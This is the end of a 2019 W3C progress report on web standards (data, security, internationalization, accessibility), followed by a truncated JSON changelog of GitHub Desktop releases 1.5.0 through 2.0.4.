needed to be run manually: TestDriver. TestDriver enables sending trusted key and mouse events, sending complex series of trusted pointer and key interactions for things like in-content drag-and-drop or pinch zoom, and even file upload. Since 2014 W3C began work on this coordinated open-source effort to build a cross-browser test suite for the Web Platform, which WHATWG, and all major browsers adopted. Web of Data All Data specifications There have been several great success stories around the standardization of data on the web over the past year. Verifiable Claims seems to have significant uptake. It is also significant that the Distributed Identifier WG charter has received numerous favorable reviews, and was just recently launched. JSON-LD has been a major success with the large deployment on Web sites via schema.org. JSON-LD 1.1 completed technical work, about to transition to CR More than 25% of websites today include schema.org data in JSON-LD The Web of Things description is in CR since May, making use of JSON-LD Verifiable Credentials data model is in CR since July, also making use of JSON-LD Continued strong interest in decentralized identifiers Engagement from the TAG with reframing core documents, such as Ethical Web Principles, to include data on the web within their scope Data is increasingly important for all organizations, especially with the rise of IoT and Big Data. W3C has a mature and extensive suite of standards relating to data that were developed over two decades of experience, with plans for further work on making it easier for developers to work with graph data and knowledge graphs. Linked Data is about the use of URIs as names for things, the ability to dereference these URIs to get further information and to include links to other data. There are ever-increasing sources of open Linked Data on the Web, as well as data services that are restricted to the suppliers and consumers of those services. The digital transformation of industry is seeking to exploit advanced digital technologies. This will facilitate businesses to integrate horizontally along the supply and value chains, and vertically from the factory floor to the office floor. W3C is seeking to make it easier to support enterprise-wide data management and governance, reflecting the strategic importance of data to modern businesses. Traditional approaches to data have focused on tabular databases (SQL/RDBMS), Comma Separated Value (CSV) files, and data embedded in PDF documents and spreadsheets. We're now in midst of a major shift to graph data with nodes and labeled directed links between them. Graph data is: Faster than using SQL and associated JOIN operations More favorable to integrating data from heterogeneous sources Better suited to situations where the data model is evolving In the wake of the recent W3C Workshop on Graph Data we are in the process of launching a Graph Standardization Business Group to provide a business perspective with use cases and requirements, to coordinate technical standards work and liaisons with external organizations. Web for All Security, Privacy, Identity All Security specifications, all Privacy specifications Authentication on the Web As the WebAuthn Level 1 W3C Recommendation published last March is seeing wide implementation and adoption of strong cryptographic authentication, work is proceeding on Level 2. The open standard Web API gives native authentication technology built into native platforms, browsers, operating systems (including mobile) and hardware, offering protection against hacking, credential theft, phishing attacks, thus aiming to end the era of passwords as a security construct. You may read more in our March press release. Privacy An increasing number of W3C specifications are benefitting from Privacy and Security review; there are security and privacy aspects to every specification. Early review is essential. Working with the TAG, the Privacy Interest Group has updated the Self-Review Questionnaire: Security and Privacy. Other recent work of the group includes public blogging further to the exploration of anti-patterns in standards and permission prompts. Security The Web Application Security Working Group adopted Feature Policy, aiming to allow developers to selectively enable, disable, or modify the behavior of some of these browser features and APIs within their application; and Fetch Metadata, aiming to provide servers with enough information to make a priori decisions about whether or not to service a request based on the way it was made, and the context in which it will be used. The Web Payment Security Interest Group, launched last April, convenes members from W3C, EMVCo, and the FIDO Alliance to discuss cooperative work to enhance the security and interoperability of Web payments (read more about payments). Internationalization (i18n) All Internationalization specifications, educational articles related to Internationalization, spec developers checklist Only a quarter or so current Web users use English online and that proportion will continue to decrease as the Web reaches more and more communities of limited English proficiency. If the Web is to live up to the "World Wide" portion of its name, and for the Web to truly work for stakeholders all around the world engaging with content in various languages, it must support the needs of worldwide users as they engage with content in the various languages. The growth of epublishing also brings requirements for new features and improved typography on the Web. It is important to ensure the needs of local communities are captured. The W3C Internationalization Initiative was set up to increase in-house resources dedicated to accelerating progress in making the World Wide Web "worldwide" by gathering user requirements, supporting developers, and education & outreach. For an overview of current projects see the i18n radar. W3C's Internationalization efforts progressed on a number of fronts recently: Requirements: New African and European language groups will work on the gap analysis, errata and layout requirements. Gap analysis: Japanese, Devanagari, Bengali, Tamil, Lao, Khmer, Javanese, and Ethiopic updated in the gap-analysis documents. Layout requirements document: notable progress tracked in the Southeast Asian Task Force while work continues on Chinese layout requirements. Developer support: Spec reviews: the i18n WG continues active review of specifications of the WHATWG and other W3C Working Groups. Short review checklist: easy way to begin a self-review to help spec developers understand what aspects of their spec are likely to need attention for internationalization, and points them to more detailed checklists for the relevant topics. It also helps those reviewing specs for i18n issues. Strings on the Web: Language and Direction Metadata lays out issues and discusses potential solutions for passing information about language and direction with strings in JSON or other data formats. The document was rewritten for clarity, and expanded. The group is collaborating with the JSON-LD and Web Publishing groups to develop a plan for updating RDF, JSON-LD and related specifications to handle metadata for base direction of text (bidi). User-friendly test format: a new format was developed for Internationalization Test Suite tests, which displays helpful information about how the test works. This particularly useful because those tests are pointed to by educational materials and gap-analysis documents. Web Platform Tests: a large number of tests in the i18n test suite have been ported to the WPT repository, including: css-counter-styles, css-ruby, css-syntax, css-test, css-text-decor, css-writing-modes, and css-pseudo. Education & outreach: (for all educational materials, see the HTML & CSS Authoring Techniques) Web Accessibility All Accessibility specifications, WAI resources The Web Accessibility Initiative supports W3C's Web for All mission. Recent achievements include: Education and training: Inaccessibility of CAPTCHA updated to bring our analysis and recommendations up to date with CAPTCHA practice today, concluding two years of extensive work and invaluable input from the public (read more on the W3C Blog Learn why your web content and applications should be accessible. The Education and Outreach Working Group has completed revision and updating of the Business Case for Digital Accessibility. Accessibility guidelines: The Accessibility Guidelines Working Group has continued to update WCAG Techniques and Understanding WCAG 2.1; and published a Candidate Recommendation of Accessibility Conformance Testing Rules Format 1.0 to improve inter-rater reliability when evaluating conformance of web content to WCAG An updated charter is being developed to host work on "Silver", the next generation accessibility guidelines (WCAG 2.2) There are accessibility aspects to most specifications. Check your work with the FAST checklist. Outreach to the world W3C Developer Relations To foster the excellent feedback loop between Web Standards development and Web developers, and to grow participation from that diverse community, recent W3C Developer Relations activities include: @w3cdevs tracks the enormous amount of work happening across W3C W3C Track during the Web Conference 2019 in San Francisco Tech videos: W3C published the 2019 Web Games Workshop videos The 16 September 2019 Developer Meetup in Fukuoka, Japan, is open to all and will combine a set of technical demos prepared by W3C groups, and a series of talks on a selected set of W3C technologies and projects W3C is involved with Mozilla, Google, Samsung, Microsoft and Bocoup in the organization of ViewSource 2019 in Amsterdam (read more on the W3C Blog) W3C Training In partnership with EdX, W3C's MOOC training program, W3Cx offers a complete "Front-End Web Developer" (FEWD) professional certificate program that consists of a suite of five courses on the foundational languages that power the Web: HTML5, CSS and JavaScript. We count nearly 900K students from all over the world. Translations Many Web users rely on translations of documents developed at W3C whose official language is English. W3C is extremely grateful to the continuous efforts of its community in ensuring our various deliverables in general, and in our specifications in particular, are made available in other languages, for free, ensuring their exposure to a much more diverse set of readers. Last Spring we developed a more robust system, a new listing of translations of W3C specifications and updated the instructions on how to contribute to our translation efforts. W3C Liaisons Liaisons and coordination with numerous organizations and Standards Development Organizations (SDOs) is crucial for W3C to: make sure standards are interoperable coordinate our respective agenda in Internet governance: W3C participates in ICANN, GIPO, IGF, the I* organizations (ICANN, IETF, ISOC, IAB). ensure at the government liaison level that our standards work is officially recognized when important to our membership so that products based on them (often done by our members) are part of procurement orders. W3C has ARO/PAS status with ISO. W3C participates in the EU MSP and Rolling Plan on Standardization ensure the global set of Web and Internet standards form a compatible stack of technologies, at the technical and policy level (patent regime, fragmentation, use in policy making) promote Standards adoption equally by the industry, the public sector, and the public at large Coralie Mercier, Editor, W3C Marketing & Communications $Id: Overview.html,v 1.60 2019/10/15 12:05:52 coralie Exp $ Copyright © 2019 W3C ® (MIT, ERCIM, Keio, Beihang) Usage policies apply.
klonnet23
{ "releases": { "2.0.4": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta1": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta0": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693", "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688", "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.3": [ "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.2": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693" ], "2.0.1": [ "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688" ], "2.0.0": [ "[New] You can now choose to bring your changes with you to a new branch or stash them on the current branch when switching branches - #6107", "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[New] Repositories grouped by owner, and recent repositories listed at top - #6923 #7132", "[New] Suggested next steps now includes suggestion to create a pull request after publishing a branch - #7505", "[Added] .resx syntax highlighting - #7235. Thanks @say25!", "[Added] \"Exit\" menu item now has accelerator and access key - #6507. Thanks @AndreiMaga!", "[Added] Help menu entry to view documentation about keyboard shortcuts - #7184", "[Added] \"Discard all changes\" action under Branch menu - #7394. Thanks @ahuth!", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Fixed] Emoji rendering in app when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Conflicts banners do not hide after aborting operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Unable to switch keyboard layout and retain keyboard focus while using commit form - #6366. Thanks @AndreiMaga!", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Menus disabled by activity in inactive repositories - #6313", "[Fixed] Race condition with Git remote lookup may cause push to incorrect remote - #6986", "[Fixed] Restore GitHub Desktop to main screen if external monitor removed - #7418 #2107. Thanks @say25!", "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] \"Automatically Switch Theme\" on macOS checks theme on launch - #7116. Thanks @say25!", "[Improved] \"Add\" button in repository list should always be visible - #6646", "[Improved] Pull Requests list loads and updates pull requests from GitHub more quickly - #7501 #7163", "[Improved] Indicator hidden in Pull Requests list when there are no open pull requests - #7258", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Alignment of icons in repository list - #7133", "[Improved] Command line interface warning when using \"github open\" with a remote URL - #7452. Thanks @msztech!", "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] Styles for manual resolution button in \"Resolve Conflicts\" dialog - #7302", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Visual progress on \"Remove Repository\" and \"Discard Changes\" dialogs - #7015. Thanks @HashimotoYT!", "[Improved] Menu items now aware of force push state and preference to confirm repository removal - #4976 #7138", "[Removed] Branch and pull request filter text persistence - #7437", "[Removed] \"Discard all changes\" context menu item from Changes list - #7394. Thanks @ahuth!" ], "1.7.1-beta1": [ "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] Show explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Alignment of entries in repository list - #7133" ], "1.7.0-beta9": [ "[Fixed] Add warning when renaming a branch with a stash - #7283", "[Fixed] Restore Desktop to main screen when external monitor removed - #7418 #2107. Thanks @say25!", "[Improved] Performance for bringing uncommitted changes to another branch - #7474" ], "1.7.0-beta8": [ "[Added] Accelerator and access key to \"Exit\" menu item - #6507. Thanks @AndreiMaga!", "[Fixed] Pressing \"Shift\" + \"Alt\" in Commit summary moves input-focus to app menu - #6366. Thanks @AndreiMaga!", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Improved] Command line interface warns with helpful message when given a remote URL - #7452. Thanks @msztech!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] \"Pull Requests\" list reflects pull requests from GitHub more quickly - #7501", "[Removed] Branch and pull request filter text persistence - #7437" ], "1.7.0-beta7": [ "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] \"Stashed changes\" button accessibility improvements - #7274", "[Improved] Performance improvements for bringing changes to another branch - #7471", "[Improved] Performance improvements for detecting conflicts from a restored stash - #7476" ], "1.7.0-beta6": [ "[Fixed] Stash viewer does not disable restore button when changes present - #7409", "[Fixed] Stash viewer does not center \"no content\" text - #7299", "[Fixed] Stash viewer pane width not remembered between sessions - #7416", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Stash not cleaned up when it conflicts with working directory contents - #7383", "[Improved] Branch names remain accurate in dialog when stashing and switching branches - #7402", "[Improved] Moved \"Discard all changes\" to Branch menu to prevent unintentionally discarding all changes - #7394. Thanks @ahuth!", "[Improved] UI responsiveness when using keyboard to choose branch in rebase flow - #7407" ], "1.7.0-beta5": [ "[Fixed] Handle warnings if stash creation encounters file permission issue - #7351", "[Fixed] Add \"View stash entry\" action to suggested next steps - #7353", "[Fixed] Handle and recover from failed rebase flow starts - #7223", "[Fixed] Reverse button order when viewing a stash on macOS - #7273", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Rebase success banner always includes base branch name - #7220", "[Improved] Added explanatory text for \"Restore\" button for stashes - #7303", "[Improved] Ask for confirmation before discarding stash - #7348", "[Improved] Order stashed changes files alphabetically - #7327", "[Improved] Clarify \"Overwrite Stash Confirmation\" dialog text - #7361", "[Improved] Message shown in rebase setup when target branch is already rebased - #7343", "[Improved] Update stashing prompt verbiage - #7393.", "[Improved] Update \"Start Rebase\" dialog verbiage - #7391", "[Improved] Changes list now reflects what will be committed when handling rebase conflicts - #7006" ], "1.7.0-beta4": [ "[Fixed] Manual conflict resolution choice not updated when resolving rebase conflicts - #7255", "[Fixed] Menu items don't display the expected verbiage for force push and removing a repository - #4976 #7138" ], "1.7.0-beta3": [ "[New] Users can choose to bring changes with them to a new branch or stash them on the current branch when switching branches - #6107", "[Added] GitHub Desktop keyboard shortcuts available in Help menu - #7184", "[Added] .resx file extension highlighting support - #7235. Thanks @say25!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Improved] Warn users before rebase if operation will require a force push after rebase complete - #6963", "[Improved] Do not show the number of pull requests when there are no open pull requests - #7258", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Manual Conflicts button styling - #7302", "[Improved] \"Add\" button in repository list should always be visible - #6646" ], "1.7.0-beta2": [ "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Merge/Rebase conflicts banners do not clear when aborting the operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Improved] Pull requests load faster and PR build status updates automatically - #7163" ], "1.7.0-beta1": [ "[New] Recently opened repositories appear at the top of the repository list - #7132", "[Fixed] Error when selecting diff text while diff is updating - #7131", "[Fixed] Crash when unable to create log file on disk - #7096", "[Fixed] Race condition with remote lookup could cause push to go to incorrect remote - #6986", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Prevent menus from being disabled by activity in inactive repositories - #6313", "[Fixed] \"Automatically Switch Theme\" on macOS does not check theme on launch - #7116. Thanks @say25!", "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Emoji rendering in app broken when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Improved] Visual feedback on \"Remove Repository\" and \"Discard Changes\" dialogs to show progress - #7015. Thanks @HashimotoYT!", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027" ], "1.6.6": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.6-test1": [ "[Fixed] Clicking \"Undo\" doesn't repopulate summary in commit form - #6390. Thanks @humphd!", "[Fixed] Handle error when unable to create log file for app - #7096", "[Fixed] Crash when selecting text while the underlying diff changes - #7131" ], "1.6.5": [ "[Fixed] Publish Repository does not let you publish to an organization on your Enterprise account - #7052" ], "1.6.5-beta2": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.5-beta1": [ "[Fixed] Publish Repository does not let you choose an organization on your Enterprise account - #7052" ], "1.6.4": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta1": [ "[Fixed] Embedded Git not working for core.longpath usage in some environments - #7028", "[Fixed] \"Recover missing repository\" can get stuck in a loop - #7038" ], "1.6.4-beta0": [ "[Removed] Option to discard when files would be overwritten by a checkout - #7016" ], "1.6.3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Fixed] Context menu does not open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Fixed] Display question mark in image when no commit selected in dark theme - #6915. Thanks @say25!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and update illustration in dark theme when no local changes exist - #6894", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Moving mouse pointer outside visible diff while selecting a range of lines in a partial commit now automatically scrolls the diff - #658", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!", "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!" ], "1.6.3-beta4": [ "[Improved] Update GitHub logo in \"About\" dialog - #5619. Thanks @HashimotoYT!", "[Improved] Sign in form validates both username and password - #6952. Thanks @say25!" ], "1.6.3-beta3": [ "[New] Display \"pull with rebase\" if a user has set this option in their Git config - #6553 #3422", "[Added] Provide option to discard when files would be overwritten by a checkout - #6755. Thanks @mathieudutour!", "[Fixed] No left padding for :emoji:/@user/#issue autocomplete forms. - #6895. Thanks @murrelljenna!", "[Fixed] Reinstate missing image and fix illustration to work in the dark theme when there are no local changes - #6894", "[Fixed] Display question mark image when there is no commit selected in dark theme - #6915. Thanks @say25!", "[Improved] Group and filter repositories by owner - #6923", "[Improved] Add option to fetch when a user needs to pull changes from the remote before pushing - #2738 #5451" ], "1.6.3-beta2": [ "[Fixed] Text selection in wrapped diff lines now allows selection of individual lines - #1551", "[Fixed] Resizing the diff area preserves text selection range - #2677", "[Improved] Moving the mouse pointer outside of the visible diff while selecting a range of lines in a partial commit will now automatically scroll the diff - #658" ], "1.6.3-beta1": [ "[New] Branches that have been merged and deleted on GitHub.com will now be pruned after two weeks - #750", "[Fixed] Context menu doesn't open when right clicking on the edges of files in Changes list - #6296. Thanks @JQuinnie!", "[Improved] Enable Git protocol v2 for fetch/push/pull operations - #6142", "[Improved] Upgrade to Electron v3 - #6391" ], "1.6.2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349", "[Improved] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Updated verbiage for ignoring the files - #6689. Thanks @PaulViola!" ], "1.6.2-beta3": [ "[Improved] Guided merge conflict resolution only commits changes relevant to the merge - #6349" ], "1.6.2-beta2": [ "[Added] Allow users to also resolve manual conflicts when resolving merge conflicts - #6062", "[Added] Crystal and Julia syntax highlighting - #6710. Thanks @KennethSweezy!", "[Fixed] Fix pointy corners on commit message text area - #6635. Thanks @lisavogtsf!", "[Fixed] Use higher contrast color for links in \"Merge Conflicts\" dialog - #6758" ], "1.6.2-beta1": [ "[Added] Automatic switching between Dark and Light modes on macOS - #5037. Thanks @say25!", "[Added] Lua and Fortran syntax highlighting - #6700. Thanks @SimpleBinary!", "[Fixed] Abbreviated commits are not long enough for large repositories - #6662. Thanks @say25!", "[Fixed] App menu bar visible on hover on Windows when in \"Let’s get started\" mode - #6669", "[Fixed] Remember scroll positions in History and Changes lists - #5177 #5059. Thanks @Daniel-McCarthy!", "[Fixed] Inconsistent \"Reveal in …\" labels for context menus - #6466. Thanks @say25!", "[Fixed] Prevent concurrent fetches between user and status indicator checks - #6121 #5438 #5328", "[Fixed] Merge conflict conflict did not ask user to resolve some binary files - #6693", "[Improved] Add link to all release notes in Release Notes dialog - #6443. Thanks @koralcem!", "[Improved] Arrow for renamed/copied changes when viewing commit - #6519. Thanks @koralcem!", "[Improved] Menu state updating to address race condition - #6643", "[Improved] Updated verbiage when clicking on changed files to make it more explicit what will occur when you ignore the file(s) - #6689. Thanks @PaulViola!" ], "1.6.2-beta0": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.1": [ "[Fixed] Don't show \"No local changes\" view when switching between changed files" ], "1.6.0": [ "[New] Help users add their first repo during onboarding - #6474", "[New] \"No local changes\" view helpfully suggests next actions for you to take - #6445", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Only execute menu action a single time upon hitting Enter - #5344", "[Fixed] Show autocompletion of GitHub handles and issues properly in commit description field - #6459", "[Improved] Repository list when no repositories found - #5566 #6474", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Don't show merge success banner when attempted merge doesn't complete - #6282", "[Improved] Capitalize menu items appropriately on macOS - #6469" ], "1.6.0-beta3": [ "[Fixed] Autocomplete selection does not overflow text area - #6459", "[Fixed] No local changes views incorrectly rendering ampersands - #6596", "[Improved] Capitalization of menu items on macOS - #6469" ], "1.6.0-beta2": [ "[New] \"No local changes\" view makes it easy to find and accomplish common actions - #6445", "[Fixed] Automatically locate a missing repository when it cannot be found - #6228. Thanks @msftrncs!", "[Improved] Enable additional actions during a merge conflict - #6385", "[Improved] Increase contrast on input placeholder color in dark mode - #6556", "[Improved] Merge success banner no longer shown when attempted merge doesn't complete - #6282" ], "1.6.0-beta1": [ "[New] Help users add their first repo during onboarding - #6474", "[Added] Include ability for users to add new repositories when there are none available - #5566 #6474", "[Added] Support JetBrains Webstorm as an external editor - #6077. Thanks @KennethSweezy!", "[Added] Add Visual Basic syntax highlighting - #6461. Thanks @SimpleBinary!", "[Fixed] Don't include untracked files in merge commit - #6411", "[Fixed] Don't show \"Still Conflicted Warning\" when all conflicts are resolved - #6451", "[Fixed] Enter when using keyboard to navigate app menu executed menu action twice - #5344", "[Improved] Image diff menu no longer covered by large images - #6520. Thanks @06b!" ], "1.5.2-beta0": [], "1.5.1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix \"Open In External Editor\" for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the \"Clone a Repository\" dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta6": [ "[Improved] Consistently order the options for adding a repository - #6396. Thanks @vilanz!", "[Improved] Clear merge conflicts banner after there are no more conflicted files - #6428" ], "1.5.1-beta5": [ "[Improved] Commit conflicted files warning - #6381", "[Improved] Dismissable merge conflict dialog and associated banner - #6379 #6380", "[Fixed] Fix feature flag for readme overwrite warning so that it shows on beta - #6412" ], "1.5.1-beta4": [ "[Improved] Display warning if existing readme file will be overwritten - #6338. Thanks @Daniel-McCarthy!", "[Improved] Add check for attempts to commit >100 MB files without Git LFS - #997. Thanks @Daniel-McCarthy!", "[Improved] Merge conflicts dialog visual updates - #6377" ], "1.5.1-beta3": [ "[Improved] Maintains state on tabs for different methods of cloning repositories - #5937" ], "1.5.1-beta2": [ "[Improved] Clarified internal documentation - #6348. Thanks @bblarney!" ], "1.5.1-beta1": [ "[Added] Provide keyboard shortcut for getting to commit summary field - #1719. Thanks @bruncun!", "[Added] Add hover states on list items and tabs - #6310", "[Added] Add Dockerfile syntax highlighting - #4533. Thanks @say25!", "[Added] Support Visual SlickEdit as an external editor - #6029. Thanks @texasaggie97!", "[Improved] Allow toggling between diff modes - #6231. Thanks @06b!", "[Improved] Show focus around full input field - #6234. Thanks @seokju-na!", "[Improved] Make lists scroll to bring selected items into view - #6279", "[Fixed] Allow repositories to be cloned to empty folders - #5857. Thanks @Daniel-McCarthy!", "[Fixed] Prevent creating branch with detached HEAD from reverting to default branch - #6085", "[Fixed] Fix 'Open In External Editor' for Atom/VS Code on Windows when paths contain spaces - #6181. Thanks @msftrncs!", "[Fixed] Persist Branch List and Pull Request List filter text - #6002. Thanks @Daniel-McCarthy!", "[Fixed] Retain renamed branches position in recent branches list - #6155. Thanks @gnehcc!", "[Fixed] Prevent avatar duplication when user is co-author and committer - #6135. Thanks @bblarney!", "[Fixed] Provide keyboard selection for the ‘Clone a Repository’ dialog - #3596. Thanks @a-golovanov!", "[Fixed] Close License & Open Source Notices dialog upon pressing \"Enter\" in dialog - #6137. Thanks @bblarney!", "[Fixed] Dismiss \"Merge into Branch\" dialog with escape key - #6154. Thanks @altaf933!", "[Fixed] Focus branch selector when comparing to branch from menu - #5600", "[Fixed] Reverse fold/unfold icons for expand/collapse commit summary - #6196. Thanks @HazemAM!" ], "1.5.1-beta0": [], "1.5.0": [ "[New] Clone, create, or add repositories right from the repository dropdown - #5878", "[New] Drag-and-drop to add local repositories from macOS tray icon - #5048", "[Added] Resolve merge conflicts through a guided flow - #5400", "[Added] Allow merging branches directly from branch dropdown - #5929. Thanks @bruncun!", "[Added] Commit file list now has \"Copy File Path\" context menu action - #2944. Thanks @Amabel!", "[Added] Keyboard shortcut for \"Rename Branch\" menu item - #5964. Thanks @agisilaos!", "[Added] Notify users when a merge is successfully completed - #5851", "[Fixed] \"Compare on GitHub\" menu item enabled when no repository is selected - #6078", "[Fixed] Diff viewer blocks keyboard navigation using reverse tab order - #2794", "[Fixed] Launching Desktop from browser always asks to clone repository - #5913", "[Fixed] Publish dialog displayed on push when repository is already published - #5936", "[Improved] \"Publish Repository\" dialog handles emoji characters - #5980. Thanks @WaleedAshraf!", "[Improved] Avoid repository checks when no path is specified in \"Create Repository\" dialog - #5828. Thanks @JakeHL!", "[Improved] Clarify the direction of merging branches - #5930. Thanks @JQuinnie!", "[Improved] Default commit summary more explanatory and consistent with GitHub.com - #6017. Thanks @Daniel-McCarthy!", "[Improved] Display a more informative message on merge dialog when branch is up to date - #5890", "[Improved] Getting a repository's 